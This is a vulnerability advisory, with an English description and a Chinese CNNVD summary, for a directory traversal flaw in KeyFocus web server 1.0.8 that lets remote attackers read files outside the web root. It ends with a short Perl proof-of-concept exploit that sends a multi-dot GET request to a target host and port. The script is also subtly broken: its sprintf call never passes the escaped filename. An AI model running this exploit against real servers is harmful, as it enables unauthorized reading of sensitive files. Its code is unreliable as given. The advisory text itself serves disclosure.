[原文]Directory traversal vulnerability in KeyFocus web server 1.0.8 allows remote attackers to read arbitrary files for recognized MIME type files via "...", "....", ".....", and other multiple dot sequences.


[CNNVD]KeyFocus KF Web Server远程目录遍历漏洞(CNNVD-200212-755)

        
        KeyFocus Web服务程序是一款多功能的HTTP服务程序,支持多种日志格式,目录索引,预定义MIME设置,URL检查等功能。
        KeyFocus Web服务程序不正确处理文件名包含'.'字符的请求,远程攻击者可以利用这个漏洞进行目录遍历攻击。
        攻击者提交多个'.'字符的WEB请求,可导致脱离WEB ROOT目录,而以WEB进程的权限遍历系统目录,查看任意可查看的敏感文件内容。

KeyFocus KF Web Server is vulnerable to a directory traversal attack. This is due to the web server's inability to properly handle file names containing consecutive dot characters. By exploiting this vulnerability, an attacker is able to break out of the web root and retrieve any file readable by the web server. Only files of recognized MIME types can be retrieved. 

#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
}
